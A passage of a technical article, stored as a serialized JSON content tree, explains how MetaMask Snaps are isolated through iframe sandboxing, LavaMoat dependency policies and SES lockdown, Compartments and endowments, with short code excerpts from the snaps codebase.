5041},[38888],{"type":29,"value":38889},"sandbox",{"type":23,"tag":504,"props":38891,"children":38892},{"style":5058},[38893],{"type":29,"value":16850},{"type":23,"tag":504,"props":38895,"children":38896},{"class":5016,"line":5308},[38897,38902,38906,38910,38914,38919,38923,38928],{"type":23,"tag":504,"props":38898,"children":38899},{"style":5041},[38900],{"type":29,"value":38901},"      iframe",{"type":23,"tag":504,"props":38903,"children":38904},{"style":5058},[38905],{"type":29,"value":357},{"type":23,"tag":504,"props":38907,"children":38908},{"style":5139},[38909],{"type":29,"value":38808},{"type":23,"tag":504,"props":38911,"children":38912},{"style":5058},[38913],{"type":29,"value":603},{"type":23,"tag":504,"props":38915,"children":38916},{"style":6297},[38917],{"type":29,"value":38918},"'sandbox'",{"type":23,"tag":504,"props":38920,"children":38921},{"style":5058},[38922],{"type":29,"value":4367},{"type":23,"tag":504,"props":38924,"children":38925},{"style":6297},[38926],{"type":29,"value":38927},"'allow-scripts'",{"type":23,"tag":504,"props":38929,"children":38930},{"style":5058},[38931],{"type":29,"value":5888},{"type":23,"tag":504,"props":38933,"children":38934},{"class":5016,"line":5336},[38935],{"type":23,"tag":504,"props":38936,"children":38937},{"style":5058},[38938],{"type":29,"value":5403},{"type":23,"tag":504,"props":38940,"children":38941},{"class":5016,"line":5349},[38942,38946,38950,38954,38958,38963,38967,38972],{"type":23,"tag":504,"props":38943,"children":38944},{"style":5041},[38945],{"type":29,"value":38799},{"type":23,"tag":504,"props":38947,"children":38948},{"style":5058},[38949],{"type":29,"value":357},{"type":23,"tag":504,"props":38951,"children":38952},{"style":5139},[38953],{"type":29,"value":38808},{"type":23,"tag":504,"props":38955,"children":38956},{"style":5058},[38957],{"type":29,"value":603},{"type":23,"tag":504,"props":38959,"children":38960},{"style":6297},[38961],{"type":29,"value":38962},"'src'",{"type":23,"tag":504,"props":38964,"children":38965},{"style":5058},[38966],{"type":29,"value":4367},{"type":23,"tag":504,"props":38968,"children":38969},{"style":5041},[38970],{"type":29,"value":38971},"uri",{"type":23,"tag":504,"props":38973,"children":38974},{"style":5058},[38975],{"type":29,"value":5888},{"type":23,"tag":504,"props":38977,"children":38978},{"class":5016,"line":5367},[38979,38983,38987,38991,38995,39000,39004,39009],{"type":23,"tag":504,"props":38980,"children":38981},{"style":5041},[38982],{"type":29,"value":36729},{"type":23,"tag":504,"props":38984,"children":38985},{"style":5058},[38986],{"type":29,"value":357},{"type":23,"tag":504,"props":38988,"children":38989},{"style":5041},[38990],{"type":29,"value":34455},{"type":23,"tag":504,"props":38992,"children":38993},{"style":5058},[38994],{"type":29,"value":357},{"type":23,"tag":504,"props":38996,"children":38997},{"style":5139},[38998],{"type":29,"value":38999},"appendChild",{"type":23,"tag":504,"props":39001,"children":39002},{"style":5058},[39003],{"type":29,"value":603},{"type":23,"tag":504,"props":39005,"children":39006},{"style":5041},[39007],{"type":29,"value":39008},"iframe",{"type":23,"tag":504,"props":39010,"children":39011},{"style":5058},[39012],{"type":29,"value":5888},{"type":23,"tag":32,"props":39014,"children":39015},{},[39016],{"type":29,"value":39017},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":23,"tag":320,"props":39019,"children":39021},{"id":39020},"lavamoat-against-supply-chain-attacks-layer-2",[39022],{"type":29,"value":39023},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":23,"tag":32,"props":39025,"children":39026},{},[39027],{"type":29,"value":39028},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":23,"tag":32,"props":39030,"children":39031},{},[39032,39034,39040],{"type":29,"value":39033},"Malicious dependencies might utilize built-in modules like ",{"type":23,"tag":154,"props":39035,"children":39037},{"className":39036},[],[39038],{"type":29,"value":39039},"fs",{"type":29,"value":39041},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":23,"tag":32,"props":39043,"children":39044},{},[39045],{"type":29,"value":39046},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":23,"tag":32,"props":39048,"children":39049},{},[39050,39052,39059],{"type":29,"value":39051},"This is how a Policy file related to the iframes ",{"type":23,"tag":68,"props":39053,"children":39056},{"href":39054,"rel":39055},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[72],[39057],{"type":29,"value":39058},"looks",{"type":29,"value":6533},{"type":23,"tag":4743,"props":39061,"children":39063},{"className":36051,"code":39062,"language":36053,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[39064],{"type":23,"tag":154,"props":39065,"children":39066},{"__ignoreMap":7},[39067,39080,39092,39112,39132,39152,39172,39192,39212,39232,39249,39257,39269,39289,39305,39312],{"type":23,"tag":504,"props":39068,"children":39069},{"class":5016,"line":5017},[39070,39075],{"type":23,"tag":504,"props":39071,"children":39072},{"style":6297},[39073],{"type":29,"value":39074},"\"@metamask/post-message-stream\"",{"type":23,"tag":504,"props":39076,"children":39077},{"style":5058},[39078],{"type":29,"value":39079},": {\n",{"type":23,"tag":504,"props":39081,"children":39082},{"class":5016,"line":4868},[39083,39088],{"type":23,"tag":504,"props":39084,"children":39085},{"style":5041},[39086],{"type":29,"value":39087},"      \"globals\"",{"type":23,"tag":504,"props":39089,"children":39090},{"style":5058},[39091],{"type":29,"value":39079},{"type":23,"tag":504,"props":39093,"children":39094},{"class":5016,"line":4876},[39095,39100,39104,39108],{"type":23,"tag":504,"props":39096,"children":39097},{"style":5041},[39098],{"type":29,"value":39099},"        \"MessageEvent.prototype\"",{"type":23,"tag":504,"props":39101,"children":39102},{"style":5058},[39103],{"type":29,"value":17378},{"type":23,"tag":504,"props":39105,"children":39106},{"style":5030},[39107],{"type":29,"value":513},{"type":23,"tag":504,"props":39109,"children":39110},{"style":5058},[39111],{"type":29,"value":5557},{"type":23,"tag":504,"props":39113,"children":39114},{"class":5016,"line":5099},[39115,39120,39124,39128],{"type":23,"tag":504,"props":39116,"children":39117},{"style":5041},[39118],{"type":29,"value":39119},"        \"WorkerGlobalScope\"",{"type":23,"tag":504,"props":39121,"children":39122},{"style":5058},[39123],{"type":29,"value":17378},{"type":23,"tag":504,"props":39125,"children":39126},{"style":5030},[39127],{"type":29,"value":513},{"type":23,"tag":504,"props":39129,"children":39130},{"style":5058},[39131],{"type":29,"value":5557},{"type":23,"tag":504,"props":39133,"children":39134},{"class":5016,"line":5203},[39135,39140,39144,39148],{"type":23,"tag":504,"props":39136,"children":39137},{"style":5041},[39138],{"type":29,"value":39139},"        \"addEventListener\"",{"type":23,"tag":504,"props":39141,"children":39142},{"style":5058},[39143],{"type":29,"value":17378},{"type":23,"tag":504,"props":39145,"children":39146},{"style":5030},[39147],{"type":29,"value":513},{"type":23,"tag":504,"props":39149,"children":39150},{"style":5058},[39151],{"type":29,"value":5557},{"type":23,"tag":504,"props":39153,"children":39154},{"class":5016,"line":5308},[39155,39160,39164,39168],{"type":23,"tag":504,"props":39156,"children":39157},{"style":5041},[39158],{"type":29,"value":39159},"        \"browser\"",{"type":23,"tag":504,"props":39161,"children":39162},{"style":5058},[39163],{"type":29,"value":17378},{"type":23,"tag":504,"props":39165,"children":39166},{"style":5030},[39167],{"type":29,"value":513},{"type":23,"tag":504,"props":39169,"children":39170},{"style":5058},[39171],{"type":29,"value":5557},{"type":23,"tag":504,"props":39173,"children":39174},{"class":5016,"line":5336},[39175,39180,39184,39188],{"type":23,"tag":504,"props":39176,"children":39177},{"style":5041},[39178],{"type":29,"value":39179},"        \"chrome\"",{"type":23,"tag":504,"props":39181,"children":39182},{"style":5058},[39183],{"type":29,"value":17378},{"type":23,"tag":504,"props":39185,"children":39186},{"style":5030},[39187],{"type":29,"value":513},{"type":23,"tag":504,"props":39189,"children":39190},{"style":5058},[39191],{"type":29,"value":5557},{"type":23,"tag":504,"props":39193,"children":39194},{"class":5016,"line":5349},[39195,39200,39204,39208],{"type":23,"tag":504,"props":39196,"children":39197},{"style":5041},[39198],{"type":29,"value":39199},"        \"location.origin\"",{"type":23,"tag":504,"props":39201,"children":39202},{"style":5058},[39203],{"type":29,"value":17378},{"type":23,"tag":504,"props":39205,"children":39206},{"style":5030},[39207],{"type":29,"value":513},{"type":23,"tag":504,"props":39209,"children":39210},{"style":5058},[39211],{"type":29,"value":5557},{"type":23,"tag":504,"props":39213,"children":39214},{"class":5016,"line":5367},[39215,39220,39224,39228],{"type":23,"tag":504,"props":39216,"children":39217},{"style":5041},[39218],{"type":29,"value":39219},"        \"postMessage\"",{"type":23,"tag":504,"props":39221,"children":39222},{"style":5058},[39223],{"type":29,"value":17378},{"type":23,"tag":504,"props":39225,"children":39226},{"style":5030},[39227],{"type":29,"value":513},{"type":23,"tag":504,"props":39229,"children":39230},{"style":5058},[39231],{"type":29,"value":5557},{"type":23,"tag":504,"props":39233,"children":39234},{"class":5016,"line":5388},[39235,39240,39244],{"type":23,"tag":504,"props":39236,"children":39237},{"style":5041},[39238],{"type":29,"value":39239},"        \"removeEventListener\"",{"type":23,"tag":504,"props":39241,"children":39242},{"style":5058},[39243],{"type":29,"value":17378},{"type":23,"tag":504,"props":39245,"children":39246},{"style":5030},[39247],{"type":29,"value":39248},"true\n",{"type":23,"tag":504,"props":39250,"children":39251},{"class":5016,"line":5397},[39252],{"type":23,"tag":504,"props":39253,"children":39254},{"style":5058},[39255],{"type":29,"value":39256},"      },\n",{"type":23,"tag":504,"props":39258,"children":39259},{"class":5016,"line":5649},[39260,39265],{"type":23,"tag":504,"props":39261,"children":39262},{"style":5041},[39263],{"type":29,"value":39264},"      \"packages\"",{"type":23,"tag":504,"props":39266,"children":39267},{"style":5058},[39268],{"type":29,"value":39079},{"type":23,"tag":504,"props":39270,"children":39271},{"class":5016,"line":5666},[39272,39277,39281,39285],{"type":23,"tag":504,"props":39273,"children":39274},{"style":5041},[39275],{"type":29,"value":39276},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":23,"tag":504,"props":39278,"children":39279},{"style":5058},[39280],{"type":29,"value":17378},{"type":23,"tag":504,"props":39282,"children":39283},{"style":5030},[39284],{"type":29,"value":513},{"type":23,"tag":504,"props":39286,"children":39287},{"style":5058},[39288],{"type":29,"value":5557},{"type":23,"tag":504,"props":39290,"children":39291},{"class":5016,"line":5683},[39292,39297,39301],{"type":23,"tag":504,"props":39293,"children":39294},{"style":5041},[39295],{"type":29,"value":39296},"        \"@metamask/post-message-stream>readable-stream\"",{"type":23,"tag":504,"props":39298,"children":39299},{"style":5058},[39300],{"type":29,"value":17378},{"type":23,"tag":504,"props":39302,"children":39303},{"style":5030},[39304],{"type":29,"value":39248},{"type":23,"tag":504,"props":39306,"children":39307},{"class":5016,"line":5696},[39308],{"type":23,"tag":504,"props":39309,"children":39310},{"style":5058},[39311],{"type":29,"value":14710},{"type":23,"tag":504,"props":39313,"children":39314},{"class":5016,"line":5705},[39315],{"type":23,"tag":504,"props":39316,"children":39317},{"style":5058},[39318],{"type":29,"value":5403},{"type":23,"tag":32,"props":39320,"children":39321},{},[39322,39324,39330,39332,39338,39340,39346,39348,39354,39355,39361],{"type":29,"value":39323},"One crucial aspect of the policy, apart from the ",{"type":23,"tag":154,"props":39325,"children":39327},{"className":39326},[],[39328],{"type":29,"value":39329},"globals",{"type":29,"value":39331}," section, is the ",{"type":23,"tag":154,"props":39333,"children":39335},{"className":39334},[],[39336],{"type":29,"value":39337},"packages",{"type":29,"value":39339}," segment. This section permits the ",{"type":23,"tag":154,"props":39341,"children":39343},{"className":39342},[],[39344],{"type":29,"value":39345},"@metamask/post-message-stream",{"type":29,"value":39347},"package to exclusively interact with the package ",{"type":23,"tag":154,"props":39349,"children":39351},{"className":39350},[],[39352],{"type":29,"value":39353},"@metamask/utils",{"type":29,"value":4478},{"type":23,"tag":154,"props":39356,"children":39358},{"className":39357},[],[39359],{"type":29,"value":39360},"readable-stream",{"type":29,"value":39362},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":23,"tag":32,"props":39364,"children":39365},{},[39366,39368,39374],{"type":29,"value":39367},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":23,"tag":154,"props":39369,"children":39371},{"className":39370},[],[39372],{"type":29,"value":39373},"lockdown",{"type":29,"value":39375}," function to freeze all javascript builtins prototypes.",{"type":23,"tag":320,"props":39377,"children":39379},{"id":39378},"secure-ecmascript-ses-sandbox-layer-3",[39380],{"type":29,"value":39381},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":23,"tag":32,"props":39383,"children":39384},{},[39385,39387,39394],{"type":29,"value":39386},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":23,"tag":68,"props":39388,"children":39391},{"href":39389,"rel":39390},"https://github.com/endojs/endo/tree/master/packages/ses",[72],[39392],{"type":29,"value":39393},"Secure EcmaScript (SES)",{"type":29,"value":39395}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":23,"tag":20944,"props":39397,"children":39399},{"id":39398},"ses-fundamentals",[39400],{"type":29,"value":39401},"SES Fundamentals",{"type":23,"tag":39403,"props":39404,"children":39405},"h5",{"id":39373},[39406],{"type":29,"value":39407},"Lockdown",{"type":23,"tag":32,"props":39409,"children":39410},{},[39411,39413,39419],{"type":29,"value":39412},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":23,"tag":154,"props":39414,"children":39416},{"className":39415},[],[39417],{"type":29,"value":39418},"lockdown()",{"type":29,"value":39420}," function, which protects javascript objects against some attacks, mainly:",{"type":23,"tag":139,"props":39422,"children":39423},{},[39424,39437],{"type":23,"tag":143,"props":39425,"children":39426},{},[39427,39429,39435],{"type":29,"value":39428},"Prototype Pollution\nLockdown executes ",{"type":23,"tag":154,"props":39430,"children":39432},{"className":39431},[],[39433],{"type":29,"value":39434},"Object.freeze",{"type":29,"value":39436}," against all javascript builtins prototypes, preventing these attacks.",{"type":23,"tag":143,"props":39438,"children":39439},{},[39440,39442,39448,39450,39456],{"type":29,"value":39441},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":23,"tag":154,"props":39443,"children":39445},{"className":39444},[],[39446],{"type":29,"value":39447},"trace",{"type":29,"value":39449}," attribute in an ",{"type":23,"tag":154,"props":39451,"children":39453},{"className":39452},[],[39454],{"type":29,"value":39455},"Error",{"type":29,"value":39457}," object, which contains the stack trace of the error.",{"type":23,"tag":39403,"props":39459,"children":39461},{"id":39460},"compartment",[39462],{"type":29,"value":39463},"Compartment",{"type":23,"tag":32,"props":39465,"children":39466},{},[39467,39469,39475,39477,39482],{"type":29,"value":39468},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":23,"tag":154,"props":39470,"children":39472},{"className":39471},[],[39473],{"type":29,"value":39474},"globalThis",{"type":29,"value":39476}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":23,"tag":154,"props":39478,"children":39480},{"className":39479},[],[39481],{"type":29,"value":39474},{"type":29,"value":39483}," context is incapable of tampering with security.",{"type":23,"tag":4743,"props":39485,"children":39487},{"className":37670,"code":39486,"language":37672,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[39488],{"type":23,"tag":154,"props":39489,"children":39490},{"__ignoreMap":7},[39491,39520,39553],{"type":23,"tag":504,"props":39492,"children":39493},{"class":5016,"line":5017},[39494,39498,39503,39507,39511,39516],{"type":23,"tag":504,"props":39495,"children":39496},{"style":5030},[39497],{"type":29,"value":11701},{"type":23,"tag":504,"props":39499,"children":39500},{"style":5041},[39501],{"type":29,"value":39502}," c",{"type":23,"tag":504,"props":39504,"children":39505},{"style":5047},[39506],{"type":29,"value":5050},{"type":23,"tag":504,"props":39508,"children":39509},{"style":5030},[39510],{"type":29,"value":33988},{"type":23,"tag":504,"props":39512,"children":39513},{"style":5139},[39514],{"type":29,"value":39515}," Compartment",{"type":23,"tag":504,"props":39517,"children":39518},{"style":5058},[39519],{"type":29,"value":5725},{"type":23,"tag":504,"props":39521,"children":39522},{"class":5016,"line":4868},[39523,39527,39531,39535,39539,39544,39548],{"type":23,"tag":504,"props":39524,"children":39525},{"style":5041},[39526],{"type":29,"value":3110},{"type":23,"tag":504,"props":39528,"children":39529},{"style":5058},[39530],{"type":29,"value":357},{"type":23,"tag":504,"props":39532,"children":39533},{"style":5041},[39534],{"type":29,"value":39474},{"type":23,"tag":504,"props":39536,"children":39537},{"style":5047},[39538],{"type":29,"value":33477},{"type":23,"tag":504,"props":39540,"children":39541},{"style":5041},[39542],{"type":29,"value":39543}," globalThis",{"type":23,"tag":504,"props":39545,"children":39546},{"style":5058},[39547],{"type":29,"value":19275},{"type":23,"tag":504,"props":39549,"children":39550},{"style":5021},[39551],{"type":29,"value":39552},"// false\n",{"type":23,"tag":504,"props":39554,"children":39555},{"class":5016,"line":4876},[39556,39560,39564,39568,39572,39577,39581,39586,39590],{"type":23,"tag":504,"props":39557,"children":39558},{"style":5041},[39559],{"type":29,"value":3110},{"type":23,"tag":504,"props":39561,"children":39562},{"style":5058},[39563],{"type":29,"value":357},{"type":23,"tag":504,"props":39565,"children":39566},{"style":5041},[39567],{"type":29,"value":39474},{"type":23,"tag":504,"props":39569,"children":39570},{"style":5058},[39571],{"type":29,"value":357},{"type":23,"tag":504,"props":39573,"children":39574},{"style":5041},[39575],{"type":29,"value":39576},"JSON",{"type":23,"tag":504,"props":39578,"children":39579},{"style":5047},[39580],{"type":29,"value":33477},{"type":23,"tag":504,"props":39582,"children":39583},{"style":5041},[39584],{"type":29,"value":39585}," JSON",{"type":23,"tag":504,"props":39587,"children":39588},{"style":5058},[39589],{"type":29,"value":19275},{"type":23,"tag":504,"props":39591,"children":39592},{"style":5021},[39593],{"type":29,"value":39594},"// true\n",{"type":23,"tag":32,"props":39596,"children":39597},{},[39598,39600,39606,39607,39613,39615,39620],{"type":29,"value":39599},"Compartment also changes the behaviour of evaluators functions such as ",{"type":23,"tag":154,"props":39601,"children":39603},{"className":39602},[],[39604],{"type":29,"value":39605},"eval",{"type":29,"value":4433},{"type":23,"tag":154,"props":39608,"children":39610},{"className":39609},[],[39611],{"type":29,"value":39612},"Function",{"type":29,"value":39614}," constructor, so that the evaluated code is also executed within the sandboxed ",{"type":23,"tag":154,"props":39616,"children":39618},{"className":39617},[],[39619],{"type":29,"value":39474},{"type":29,"value":357},{"type":23,"tag":39403,"props":39622,"children":39624},{"id":39623},"endowments",[39625],{"type":29,"value":39626},"Endowments",{"type":23,"tag":32,"props":39628,"children":39629},{},[39630,39632,39636,39638,39643],{"type":29,"value":39631},"While creating a Compartment, it is possible to specify ",{"type":23,"tag":4321,"props":39633,"children":39634},{},[39635],{"type":29,"value":39623},{"type":29,"value":39637},". These endowments constitute objects that become accessible within the Compartment's ",{"type":23,"tag":154,"props":39639,"children":39641},{"className":39640},[],[39642],{"type":29,"value":39474},{"type":29,"value":39644},". However, endowments need to be carefully chosen and sanitized since they will be exposed to the untrusted environment.",{"type":23,"tag":32,"props":39646,"children":39647},{},[39648,39650,39656],{"type":29,"value":39649},"In addition, SES provides the ",{"type":23,"tag":154,"props":39651,"children":39653},{"className":39652},[],[39654],{"type":29,"value":39655},"harden()",{"type":29,"value":39657}," function, which is mainly used to prevent the endowments to be modified by a malicious code executed in a Compartment.",{"type":23,"tag":20944,"props":39659,"children":39661},{"id":39660},"setting-up-snaps-execution-env",[39662],{"type":29,"value":39663},"Setting up Snaps Execution Env",{"type":23,"tag":32,"props":39665,"children":39666},{},[39667],{"type":29,"value":39668},"When starting a snap, the setup follows these steps:",{"type":23,"tag":139,"props":39670,"children":39671},{},[39672],{"type":23,"tag":143,"props":39673,"children":39674},{},[39675],{"type":23,"tag":38,"props":39676,"children":39677},{},[39678,39680],{"type":29,"value":39679},"Create endowments based on snap ",{"type":23,"tag":68,"props":39681,"children":39684},{"href":39682,"rel":39683},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L327",[72],[39685],{"type":29,"value":39686},"permissions",{"type":23,"tag":4743,"props":39688,"children":39690},{"className":37670,"code":39689,"language":37672,"meta":7,"style":7},"const { endowments, teardown: endowmentTeardown } = createEndowments(\n    snap,\n    ethereum,\n    snapId,\n    _endowments,\n);\n",[39691],{"type":23,"tag":154,"props":39692,"children":39693},{"__ignoreMap":7},[39694,39744,39756,39767,39779,39791],{"type":23,"tag":504,"props":39695,"children":39696},{"class":5016,"line":5017},[39697,39701,39705,39709,39713,39718,39722,39727,39731,39735,39740],{"type":23,"tag":504,"props":39698,"children":39699},{"style":5030},[39700],{"type":29,"value":11701},{"type":23,"tag":504,"props":39702,"children":39703},{"style":5058},[39704],{"type":29,"value":11633},{"type":23,"tag":504,"props":39706,"children":39707},{"style":5041},[39708],{"type":29,"value":39623},{"type":23,"tag":504,"props":39710,"children":39711},{"style":5058},[39712],{"type":29,"value":4367},{"type":23,"tag":504,"props":39714,"children":39715},{"style":5041},[39716],{"type":29,"value":39717},"teardown",{"type":23,"tag":504,"props":39719,"children":39720},{"style":5058},[39721],{"type":29,"value":17378},{"type":23,"tag":504,"props":39723,"children":39724},{"style":5041},[39725],{"type":29,"value":39726},"endowmentTeardown",{"type":23,"tag":504,"props":39728,"children":39729},{"style":5058},[39730],{"type":29,"value":38259},{"type":23,"tag":504,"props":39732,"children":39733},{"style":5047},[39734],{"type":29,"value":546},{"type":23,"tag":504,"props":39736,"children":39737},{"style":5139},[39738],{"type":29,"value":39739}," createEndowments",{"type":23,"tag":504,"props":39741,"children":39742},{"style":5058},[39743],{"type":29,"value":5512},{"type":23,"tag":504,"props":39745,"children":39746},{"class":5016,"line":4868},[39747,39752],{"type":23,"tag":504,"props":39748,"children":39749},{"style":5041},[39750],{"type":29,"value":39751},"    snap",{"type":23,"tag":504,"props":39753,"children":39754},{"style":5058},[39755],{"type":29,"value":5557},{"type":23,"tag":504,"props":39757,"children":39758},{"class":5016,"line":4876},[39759,39763],{"type":23,"tag":504,"props":39760,"children":39761},{"style":5041},[39762],{"type":29,"value":33539},{"type":23,"tag":504,"props":39764,"children":39765},{"style":5058},[39766],{"type":29,"value":5557},{"type":23,"tag":504,"props":39768,"children":39769},{"class":5016,"line":5099},[39770,39775],{"type":23,"tag":504,"props":39771,"children":39772},{"style":5041},[39773],{"type":29,"value":39774},"    snapId",{"type":23,"tag":504,"props":39776,"children":39777},{"style":5058},[39778],{"type":29,"value":5557},{"type":23,"tag":504,"props":39780,"children":39781},{"class":5016,"line":5203},[39782,39787],{"type":23,"tag":504,"props":39783,"children":39784},{"style":5041},[39785],{"type":29,"value":39786},"    _endowments",{"type":23,"tag":504,"props":39788,"children":39789},{"style":5058},[39790],{"type":29,"value":5557},{"type":23,"tag":504,"props":39792,"children":39793},{"class":5016,"line":5308},[39794],{"type":23,"tag":504,"props":39795,"children":39796},{"style":5058},[39797],{"type":29,"value":5888},{"type":23,"tag":32,"props":39799,"children":39800},{},[39801],{"type":29,"value":39802},"In the snap development, the required permissions need to be specified in a snap manifest file. Some of these permissions expose extra functions as endowments in the Compartment.",{"type":23,"tag":32,"props":39804,"children":39805},{},[39806,39808,39814,39816,39822],{"type":29,"value":39807},"One clear example is the ",{"type":23,"tag":154,"props":39809,"children":39811},{"className":39810},[],[39812],{"type":29,"value":39813},"endowment:network-access",{"type":29,"value":39815}," permission, that adds the ",{"type":23,"tag":154,"props":39817,"children":39819},{"className":39818},[],[39820],{"type":29,"value":39821},"fetch()",{"type":29,"value":39823}," function to the endowments.",{"type":23,"tag":32,"props":39825,"children":39826},{},[39827,39829,39835],{"type":29,"value":39828},"All endowments are protected with the ",{"type":23,"tag":154,"props":39830,"children":39832},{"className":39831},[],[39833],{"type":29,"value":39834},"harden",{"type":29,"value":39836}," function to prevent possible exploits derived from the endowment modification, with two exceptions.",{"type":23,"tag":139,"props":39838,"children":39839},{"start":4868},[39840],{"type":23,"tag":143,"props":39841,"children":39842},{},[39843],{"type":23,"tag":38,"props":39844,"children":39845},{},[39846,39848],{"type":29,"value":39847},"Create the snap ",{"type":23,"tag":68,"props":39849,"children":39852},{"href":39850,"rel":39851},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L345",[72],[39853],{"type":29,"value":39460},{"type":23,"tag":4743,"props":39855,"children":39857},{"className":37670,"code":39856,"language":37672,"meta":7,"style":7},"const compartment = new Compartment({\n    ...endowments,\n    module: snapModule,\n    exports: snapModule.exports,\n});\n",[39858],{"type":23,"tag":154,"props":39859,"children":39860},{"__ignoreMap":7},[39861,39889,39905,39922,39947],{"type":23,"tag":504,"props":39862,"children":39863},{"class":5016,"line":5017},[39864,39868,39873,39877,39881,39885],{"type":23,"tag":504,"props":39865,"children":39866},{"style":5030},[39867],{"type":29,"value":11701},{"type":23,"tag":504,"props":39869,"children":39870},{"style":5041},[39871],{"type":29,"value":39872}," compartment",{"type":23,"tag":504,"props":39874,"children":39875},{"style":5047},[39876],{"type":29,"value":5050},{"type":23,"tag":504,"props":39878,"children":39879},{"style":5030},[39880],{"type":29,"value":33988},{"type":23,"tag":504,"props":39882,"children":39883},{"style":5139},[39884],{"type":29,"value":39515},{"type":23,"tag":504,"props":39886,"children":39887},{"style":5058},[39888],{"type":29,"value":17187},{"type":23,"tag":504,"props":39890,"children":39891},{"class":5016,"line":4868},[39892,39897,39901],{"type":23,"tag":504,"props":39893,"children":39894},{"style":5047},[39895],{"type":29,"value":39896},"    ...",{"type":23,"tag":504,"props":39898,"children":39899},{"style":5041},[39900],{"type":29,"value":39623},{"type":23,"tag":504,"props":39902,"children":39903},{"style":5058},[39904],{"type":29,"value":5557},{"type":23,"tag":504,"props":39906,"children":39907},{"class":5016,"line":4876},[39908,39913,39918],{"type":23,"tag":504,"props":39909,"children":39910},{"style":5041},[39911],{"type":29,"value":39912},"    module:",{"type":23,"tag":504,"props":39914,"children":39915},{"style":5041},[39916],{"type":29,"value":39917}," snapModule",{"type":23,"tag":504,"props":39919,"children":39920},{"style":5058},[39921],{"type":29,"value":5557},{"type":23,"tag":504,"props":39923,"children":39924},{"class":5016,"line":5099},[39925,39930,39934,39938,39943],{"type":23,"tag":504,"props":39926,"children":39927},{"style":5041},[39928],{"type":29,"value":39929},"    exports:",{"type":23,"tag":504,"props":39931,"children":39932},{"style":5041},[39933],{"type":29,"value":39917},{"type":23,"tag":504,"props":39935,"children":39936},{"style":5058},[39937],{"type":29,"value":357},{"type":23,"tag":504,"props":39939,"children":39940},{"style":5041},[39941],{"type":29,"value":39942},"exports",{"type":23,"tag":504,"props":39944,"children":39945},{"style":5058},[39946],{"type":29,"value":5557},{"type":23,"tag":504,"props":39948,"children":39949},{"class":5016,"line":5203},[39950],{"type":23,"tag":504,"props":39951,"children":39952},{"style":5058},[39953],{"type":29,"value":37394},{"type":23,"tag":32,"props":39955,"children":39956},{},[39957,39959,39965,39966,39971,39973,39978],{"type":29,"value":39958},"Note: ",{"type":23,"tag":154,"props":39960,"children":39962},{"className":39961},[],[39963],{"type":29,"value":39964},"module",{"type":29,"value":4478},{"type":23,"tag":154,"props":39967,"children":39969},{"className":39968},[],[39970],{"type":29,"value":39942},{"type":29,"value":39972}," are passed as endowments, but without being ",{"type":23,"tag":4321,"props":39974,"children":39975},{},[39976],{"type":29,"value":39977},"hardened",{"type":29,"value":39979},". This is intentional, as the snap needs to export functions to be correctly executed.",{"type":23,"tag":139,"props":39981,"children":39982},{"start":4876},[39983],{"type":23,"tag":143,"props":39984,"children":39985},{},[39986],{"type":23,"tag":38,"props":39987,"children":39988},{},[39989,39991],{"type":29,"value":39990},"Evaluate the snap code inside the ",{"type":23,"tag":68,"props":39992,"children":39995},{"href":39993,"rel":39994},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-execution-environments/src/common/BaseSnapExecutor.ts#L359",[72],[39996],{"type":29,"value":39460},{"type":23,"tag":4743,"props":39998,"children":40000},{"className":37670,"code":39999,"language":37672,"meta":7,"style":7},"await this.executeInSnapContext(snapId, () => {\n    compartment.evaluate(sourceCode);\n    this.registerSnapExports(snapId, 